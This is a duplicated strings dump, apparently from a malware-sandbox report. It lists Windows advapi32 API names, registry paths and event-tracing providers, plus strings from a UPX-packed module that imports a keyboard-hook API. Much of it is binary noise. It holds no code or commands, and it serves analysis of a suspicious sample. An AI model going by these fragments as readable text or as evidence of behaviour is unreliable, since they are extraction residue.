pcwum.PerfSetULongLongCounterValue
pcwum.PerfStartProvider
pcwum.PerfStartProvider
pcwum.PerfStartProviderEx
pcwum.PerfStartProviderEx
pcwum.PerfStopProvider
pcwum.PerfStopProvider
ntdll.EtwRegisterTraceGuidsA
ntdll.EtwRegisterTraceGuidsA
ntdll.EtwRegisterTraceGuidsW
ntdll.EtwRegisterTraceGuidsW
CRYPTSP.CheckSignatureInFile
CRYPTSP.CheckSignatureInFile
ntdll.EtwLogTraceEvent
ntdll.EtwLogTraceEvent
ntdll.EtwTraceEventInstance
ntdll.EtwTraceEventInstance
ntdll.EtwTraceMessage
ntdll.EtwTraceMessage
ntdll.EtwTraceMessageVa
ntdll.EtwTraceMessageVa
ntdll.EtwUnregisterTraceGuids
ntdll.EtwUnregisterTraceGuids
\[%D@
\[%D@
6666666
6666666
U.Gwf.Gw
U.Gwf.Gw
PSSSSSSh
PSSSSSSh
PSSSSSSh#
PSSSSSSh#
PSSSSSSh
PSSSSSSh
PSSSSSSh
PSSSSSSh
(PSSSSSSh
(PSSSSSSh
0PSSSSSSh
0PSSSSSSh
8PSSSSSSh
8PSSSSSSh
v(SSSSSSh
v(SSSSSSh
PSSSSSSh!
PSSSSSSh!
ÙKw
ÙKw
d:\w7rtm\minkernel\screg\winreg\perflib\manifest.c
d:\w7rtm\minkernel\screg\winreg\perflib\manifest.c
ÃKw
ÃKw
CloseWindowStation
CloseWindowStation
GetProcessWindowStation
GetProcessWindowStation
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
d:\w7rtm\minkernel\screg\winreg\perflib\extinit.c
d:\w7rtm\minkernel\screg\winreg\perflib\extinit.c
d:\w7rtm\minkernel\screg\winreg\perflib\utils.c
d:\w7rtm\minkernel\screg\winreg\perflib\utils.c
d:\w7rtm\minkernel\screg\winreg\perflib\perflib.c
d:\w7rtm\minkernel\screg\winreg\perflib\perflib.c
d:\w7rtm\minkernel\screg\winreg\perflib\extquery.c
d:\w7rtm\minkernel\screg\winreg\perflib\extquery.c
d:\w7rtm\minkernel\screg\winreg\perflib\perfname.c
d:\w7rtm\minkernel\screg\winreg\perflib\perfname.c
d:\w7rtm\minkernel\screg\winreg\perflib\migrate.c
d:\w7rtm\minkernel\screg\winreg\perflib\migrate.c
TermsrvSetKeySecurity
TermsrvSetKeySecurity
TermsrvRestoreKey
TermsrvRestoreKey
TermsrvDeleteKey
TermsrvDeleteKey
TermsrvSetValueKey
TermsrvSetValueKey
tsappcmp.dll
tsappcmp.dll
%xWKw
%xWKw
d:\w7rtm\minkernel\screg\winreg\regbase\perflibc.c
d:\w7rtm\minkernel\screg\winreg\regbase\perflibc.c
d:\w7rtm\minkernel\screg\winreg\perflib\perflibc.c
d:\w7rtm\minkernel\screg\winreg\perflib\perflibc.c
d:\w7rtm\minkernel\screg\winreg\perflib\pcwconsumer.c
d:\w7rtm\minkernel\screg\winreg\perflib\pcwconsumer.c
Unable to locate init routine, error = %d
Unable to locate init routine, error = %d
Unable to load client dll, error = %d
Unable to load client dll, error = %d
SamiChangePasswordUser2
SamiChangePasswordUser2
SamiChangePasswordUser
SamiChangePasswordUser
%x0Kw
%x0Kw
ShellExecuteExW
ShellExecuteExW
PSSShd%Ewh
PSSShd%Ewh
9.IwG.Iw
9.IwG.Iw
AccProvGetOperationResults
AccProvGetOperationResults
AccProvCancelOperation
AccProvCancelOperation
SetupDiOpenDevRegKey
SetupDiOpenDevRegKey
WSShP
WSShP
u%9x$u/9p
u%9x$u/9p
CRYPTSP.dll
CRYPTSP.dll
WINTRUST.dll
WINTRUST.dll
SspiCli.dll
SspiCli.dll
USER32.dll
USER32.dll
bcrypt.dll
bcrypt.dll
API-MS-Win-Security-LSALookup-L1-1-0.dll
API-MS-Win-Security-LSALookup-L1-1-0.dll
pcwum.dll
pcwum.dll
SetProcessWindowStation
SetProcessWindowStation
RPCRT4.dll
RPCRT4.dll
KERNEL32.dll
KERNEL32.dll
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
API-MS-Win-Core-NamedPipe-L1-1-0.dll
API-MS-Win-Core-NamedPipe-L1-1-0.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
API-MS-WIN-Service-Management-L2-1-0.dll
API-MS-WIN-Service-Management-L2-1-0.dll
API-MS-WIN-Service-Management-L1-1-0.dll
API-MS-WIN-Service-Management-L1-1-0.dll
API-MS-WIN-Service-winsvc-L1-1-0.dll
API-MS-WIN-Service-winsvc-L1-1-0.dll
API-MS-WIN-Service-Core-L1-1-0.dll
API-MS-WIN-Service-Core-L1-1-0.dll
KERNELBASE.dll
KERNELBASE.dll
ntdll.dll
ntdll.dll
msvcrt.dll
msvcrt.dll
RtlRunOnceExecuteOnce
RtlRunOnceExecuteOnce
NtOpenKey
NtOpenKey
NtQueryValueKey
NtQueryValueKey
NtQueryKey
NtQueryKey
NtCreateKey
NtCreateKey
NtSetValueKey
NtSetValueKey
NtDeleteKey
NtDeleteKey
NtEnumerateKey
NtEnumerateKey
RtlFormatCurrentUserKeyPath
RtlFormatCurrentUserKeyPath
NtDelayExecution
NtDelayExecution
EtwpGetCpuSpeed
EtwpGetCpuSpeed
NtRenameKey
NtRenameKey
NtLoadKeyEx
NtLoadKeyEx
NtCreateKeyTransacted
NtCreateKeyTransacted
NtOpenKeyTransacted
NtOpenKeyTransacted
NtQueryMultipleValueKey
NtQueryMultipleValueKey
NtOpenKeyEx
NtOpenKeyEx
NtOpenKeyTransactedEx
NtOpenKeyTransactedEx
NtReplaceKey
NtReplaceKey
NtSaveKey
NtSaveKey
NtSaveMergedKeys
NtSaveMergedKeys
GetSystemWindowsDirectoryW
GetSystemWindowsDirectoryW
GetProcessHeap
GetProcessHeap
advapi32.pdb
advapi32.pdb
yDw.VHw'
yDw.VHw'
KEYWt
KEYWt
KEYWX
KEYWX
KEYW
KEYW
KEYWp
KEYWp
KEYWD
KEYWD
KEYWL
KEYWL
KEYW,
KEYW,
2$3(30343
2$3(30343
2 2&212>2
2 2&212>2
8Â8C8P8X8
8Â8C8P8X8
7$7,727=7
7$7,727=7
3&4/454:4
3&4/454:4
4(6,60646
4(6,60646
>$?(?4?\?
>$?(?4?\?
5%6U6n7
5%6U6n7
4 42474^4
4 42474^4
=_>
=_>
1$2(20242
1$2(20242
; ;$;,;0;
; ;$;,;0;
20252[2`2
20252[2`2
7Ÿ9
7Ÿ9
1 2$2(2,2
1 2$2(2,2
%s\u
%s\u
x-x-x-xx-xxxxxx
x-x-x-xx-xxxxxx
\PIPE\
\PIPE\
cryptbase.dll
cryptbase.dll
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%
Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Windows NT Network Provider
Windows NT Network Provider
\\.\WMIDataDevice
\\.\WMIDataDevice
lX-X-X-XX-XXXXXX
lX-X-X-XX-XXXXXX
Software\Microsoft\Windows NT\CurrentVersion\Diagnostics
Software\Microsoft\Windows NT\CurrentVersion\Diagnostics
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
%HKEY_LOCAL_MACHINE
%HKEY_LOCAL_MACHINE
%HKEY_CURRENT_USER
%HKEY_CURRENT_USER
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer
\Registry\Machine\Software\Policies\Microsoft\Windows\Safer
\Software\Policies\Microsoft\Windows\Safer
\Software\Policies\Microsoft\Windows\Safer
\UrlZones
\UrlZones
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
ncacn_ip_tcp
ncacn_ip_tcp
nrpcrt4.dll
nrpcrt4.dll
%SystemRoot%\
%SystemRoot%\
%SystemRoot%\System32\Drivers\
%SystemRoot%\System32\Drivers\
user32.dll
user32.dll
msiltcfg.dll
msiltcfg.dll
Software\Microsoft\Windows\CurrentVersion\Group Policy\Appmgmt
Software\Microsoft\Windows\CurrentVersion\Group Policy\Appmgmt
Export
Export
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
\SystemRoot\system32\perf0000.dat
\SystemRoot\system32\perf0000.dat
%SystemRoot%\Debug\UserMode\appmgmt.bak
%SystemRoot%\Debug\UserMode\appmgmt.bak
APPMGMT (%x.%x) d:d:d:d
APPMGMT (%x.%x) d:d:d:d
%s%s%d%s%s%s%s%s%s%s{lx-x-x-xx-xxxxxx}
%s%s%d%s%s%s%s%s%s%s{lx-x-x-xx-xxxxxx}
certificate
certificate
PerfDbg.Etl
PerfDbg.Etl
C:\perfdbg.etl
C:\perfdbg.etl
$winnt$.inf
$winnt$.inf
\SystemRoot\system32\prf00000.dat
\SystemRoot\system32\prf00000.dat
127.0.0.1
127.0.0.1
{lx-x-x-xx-xxxxxx}
{lx-x-x-xx-xxxxxx}
UrlZones
UrlZones
DisallowExecution
DisallowExecution
setupapi.dll
setupapi.dll
advapi32.dll
advapi32.dll
iphlpapi.dll
iphlpapi.dll
\PIPE\winreg
\PIPE\winreg
perfh016.dat
perfh016.dat
perfc016.dat
perfc016.dat
perfh004.dat
perfh004.dat
perfc004.dat
perfc004.dat
feclient.dll
feclient.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Compatibility\Applications\
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Compatibility\Applications\
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server
samlib.dll
samlib.dll
LsarpcClientAllowRemotedSecretOperations
LsarpcClientAllowRemotedSecretOperations
SupportUrl
SupportUrl
Wshell32.dll
Wshell32.dll
CEvents::Report called with more params then expected!
CEvents::Report called with more params then expected!
8c7daf44-b6dc-11d1-9a4c-0020af6e7c57
8c7daf44-b6dc-11d1-9a4c-0020af6e7c57
%SystemRoot%\Debug\UserMode\appmgmt.log
%SystemRoot%\Debug\UserMode\appmgmt.log
{x-x-x-xx-xxxxxx}
{x-x-x-xx-xxxxxx}
\Device\Video%d
\Device\Video%d
WHardwareInformation.BiosString
WHardwareInformation.BiosString
HardwareInformation.AdapterString
HardwareInformation.AdapterString
HardwareInformation.DacType
HardwareInformation.DacType
HardwareInformation.ChipType
HardwareInformation.ChipType
HardwareInformation.MemorySize
HardwareInformation.MemorySize
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
\Device\Harddisk%u\Partition0
\Device\Harddisk%u\Partition0
\\.\%s
\\.\%s
Target%d
Target%d
WindowsShutdown
WindowsShutdown
765294BA-60BC-48B8-92E9-89FD77769D91
765294BA-60BC-48B8-92E9-89FD77769D91
ws2_32.dll
ws2_32.dll
NOT_TCPIP
NOT_TCPIP
%ws\%ws.tmp
%ws\%ws.tmp
ncacn_nb_tcp
ncacn_nb_tcp
\PIPE\InitShutdown
\PIPE\InitShutdown
Advanced Windows 32 Base API
Advanced Windows 32 Base API
6.1.7601.17514 (win7sp1_rtm.101119-1850)
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Windows
Windows
Operating System
Operating System
6.1.7601.17514
6.1.7601.17514
Microsoft-Windows-Kernel-WDI/Analytic
Microsoft-Windows-Kernel-WDI/Analytic
Microsoft-Windows-Kernel-WDI/Debug
Microsoft-Windows-Kernel-WDI/Debug
Microsoft-Windows-Kernel-WDI/Operational
Microsoft-Windows-Kernel-WDI/Operational
Keyword
Keyword
KERNEL_GENERAL_KEYWORD_TIME
KERNEL_GENERAL_KEYWORD_TIME
Microsoft-Windows-Kernel-Process/Analytic
Microsoft-Windows-Kernel-Process/Analytic
ReadOperationCount
ReadOperationCount
WriteOperationCount
WriteOperationCount
WINEVENT_KEYWORD_PROCESS
WINEVENT_KEYWORD_PROCESS
WINEVENT_KEYWORD_THREAD
WINEVENT_KEYWORD_THREAD
WINEVENT_KEYWORD_IMAGE
WINEVENT_KEYWORD_IMAGE
WINEVENT_KEYWORD_CPU_PRIORITY
WINEVENT_KEYWORD_CPU_PRIORITY
WINEVENT_KEYWORD_OTHER_PRIORITY
WINEVENT_KEYWORD_OTHER_PRIORITY
Microsoft-Windows-Kernel-Registry/Analytic
Microsoft-Windows-Kernel-Registry/Analytic
KeyObject
KeyObject
KeyName
KeyName
CreateKey
CreateKey
OpenKey
OpenKey
DeleteKey
DeleteKey
QueryKey
QueryKey
SetValueKey
SetValueKey
DeleteValueKey
DeleteValueKey
QueryValueKey
QueryValueKey
EnumerateKey
EnumerateKey
EnumerateValueKey
EnumerateValueKey
QueryMultipleValueKey
QueryMultipleValueKey
SetInformationKey
SetInformationKey
FlushKey
FlushKey
CloseKey
CloseKey
QuerySecurityKey
QuerySecurityKey
SetSecurityKey
SetSecurityKey
Microsoft-Windows-Kernel-PnP/Diagnostic
Microsoft-Windows-Kernel-PnP/Diagnostic
Pnp:DpReplace.ExtendedStatusMap
Pnp:DpReplace.ExtendedStatusMap
SqmWindowsSessionId
SqmWindowsSessionId
Microsoft-Windows-Kernel-Acpi/Diagnostic
Microsoft-Windows-Kernel-Acpi/Diagnostic
Microsoft-Windows-International/Operational
Microsoft-Windows-International/Operational
RegistryKey
RegistryKey
Operation
Operation
Microsoft-Windows-User-Loader/Analytic
Microsoft-Windows-User-Loader/Analytic
USER_LOADER_KEYWORD_DEPRECATED_DLL
USER_LOADER_KEYWORD_DEPRECATED_DLL
Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic
Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic
Microsoft-Windows-Kernel-Prefetch/Diagnostic
Microsoft-Windows-Kernel-Prefetch/Diagnostic
Microsoft-Windows-UAC/Operational
Microsoft-Windows-UAC/Operational
Microsoft-Windows-COM/Analytic
Microsoft-Windows-COM/Analytic
/hXXp://schemas.microsoft.com/win/2004/08/events
/hXXp://schemas.microsoft.com/win/2004/08/events
DhXXp://schemas.microsoft.com/schemas/event/Microsoft.Windows/1.0.0.0
DhXXp://schemas.microsoft.com/schemas/event/Microsoft.Windows/1.0.0.0
Microsoft-Windows-MUI/Operational
Microsoft-Windows-MUI/Operational
Microsoft-Windows-MUI/Admin
Microsoft-Windows-MUI/Admin
Microsoft-Windows-MUI/Analytic
Microsoft-Windows-MUI/Analytic
Microsoft-Windows-MUI/Debug
Microsoft-Windows-MUI/Debug
Microsoft-Windows-Kernel-Network/Analytic
Microsoft-Windows-Kernel-Network/Analytic
dport
dport
sport
sport
KERNEL_NETWORK_OPCODE_TCPCOPY
KERNEL_NETWORK_OPCODE_TCPCOPY
KERNEL_NETWORK_OPCODE_SENDUDP
KERNEL_NETWORK_OPCODE_SENDUDP
KERNEL_NETWORK_OPCODE_RECVUDP
KERNEL_NETWORK_OPCODE_RECVUDP
KERNEL_NETWORK_OPCODE_FAILUDP
KERNEL_NETWORK_OPCODE_FAILUDP
KERNEL_NETWORK_TASK_TCPIP
KERNEL_NETWORK_TASK_TCPIP
KERNEL_NETWORK_TASK_UDPIP
KERNEL_NETWORK_TASK_UDPIP
KERNEL_NETWORK_KEYWORD_IPV4
KERNEL_NETWORK_KEYWORD_IPV4
KERNEL_NETWORK_KEYWORD_IPV6
KERNEL_NETWORK_KEYWORD_IPV6
Microsoft-Windows-Kernel-Disk/Analytic
Microsoft-Windows-Kernel-Disk/Analytic
Microsoft-Windows-Kernel-EventTracing/Admin
Microsoft-Windows-Kernel-EventTracing/Admin
Microsoft-Windows-Kernel-EventTracing/Analytic
Microsoft-Windows-Kernel-EventTracing/Analytic
ETW_KEYWORD_SESSION
ETW_KEYWORD_SESSION
ETW_KEYWORD_PROVIDER
ETW_KEYWORD_PROVIDER
Microsoft-Windows-Kernel-Boot/Analytic
Microsoft-Windows-Kernel-Boot/Analytic
Microsoft-Windows-Kernel-File/Analytic
Microsoft-Windows-Kernel-File/Analytic
FileKey
FileKey
OperationEnd
OperationEnd
KERNEL_FILE_KEYWORD_FILENAME
KERNEL_FILE_KEYWORD_FILENAME
KERNEL_FILE_KEYWORD_FILEIO
KERNEL_FILE_KEYWORD_FILEIO
KERNEL_FILE_KEYWORD_OP_END
KERNEL_FILE_KEYWORD_OP_END
KERNEL_FILE_KEYWORD_CREATE
KERNEL_FILE_KEYWORD_CREATE
KERNEL_FILE_KEYWORD_READ
KERNEL_FILE_KEYWORD_READ
KERNEL_FILE_KEYWORD_WRITE
KERNEL_FILE_KEYWORD_WRITE
KERNEL_FILE_KEYWORD_DELETE_PATH
KERNEL_FILE_KEYWORD_DELETE_PATH
KERNEL_FILE_KEYWORD_RENAME_SETLINK_PATH
KERNEL_FILE_KEYWORD_RENAME_SETLINK_PATH
KERNEL_FILE_KEYWORD_CREATE_NEW_FILE
KERNEL_FILE_KEYWORD_CREATE_NEW_FILE
Microsoft-Windows-PCI/Diagnostic
Microsoft-Windows-PCI/Diagnostic
Microsoft-Windows-Kernel-StoreMgr/Analytic
Microsoft-Windows-Kernel-StoreMgr/Analytic
Microsoft-Windows-Kernel-StoreMgr/Operational
Microsoft-Windows-Kernel-StoreMgr/Operational
CacheTerminationMsgMap
CacheTerminationMsgMap
StoreMgrCorruptPageMsgMap
StoreMgrCorruptPageMsgMap
DataKey
DataKey
StoreKey
StoreKey
StoreFileKey
StoreFileKey
Microsoft-Windows-Kernel-Memory/Analytic
Microsoft-Windows-Kernel-Memory/Analytic
KERNEL_MEM_KEYWORD_MEMINFO
KERNEL_MEM_KEYWORD_MEMINFO
%original file name%.exe_1804_rwx_10000000_0003E000:
`.rsrc
`.rsrc
L$(h%f
L$(h%f
SSh0j
SSh0j
msctls_hotkey32
msctls_hotkey32
TVCLHotKey
TVCLHotKey
THotKey
THotKey
\skinh.she
\skinh.she
}uo,x6l5k%x-l h
}uo,x6l5k%x-l h
9p%s m)t4`#b
9p%s m)t4`#b
e"m?c&y1`Ã
e"m?c&y1`Ã
SetViewportOrgEx
SetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
SetWindowsHookExA
SetWindowsHookExA
UnhookWindowsHookEx
UnhookWindowsHookEx
EnumThreadWindows
EnumThreadWindows
EnumChildWindows
EnumChildWindows
`c%US.4/
`c%US.4/
!#$
!#$
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.UPX0
@.UPX0
`.UPX1
`.UPX1
`.reloc
`.reloc
hJK.ZH
hJK.ZH
O.qt0
O.qt0
KERNEL32.DLL
KERNEL32.DLL
COMCTL32.dll
COMCTL32.dll
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
MSVCRT.dll
MSVCRT.dll
MSVFW32.dll
MSVFW32.dll
USER32.dll
USER32.dll
SkinH_EL.dll
SkinH_EL.dll
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll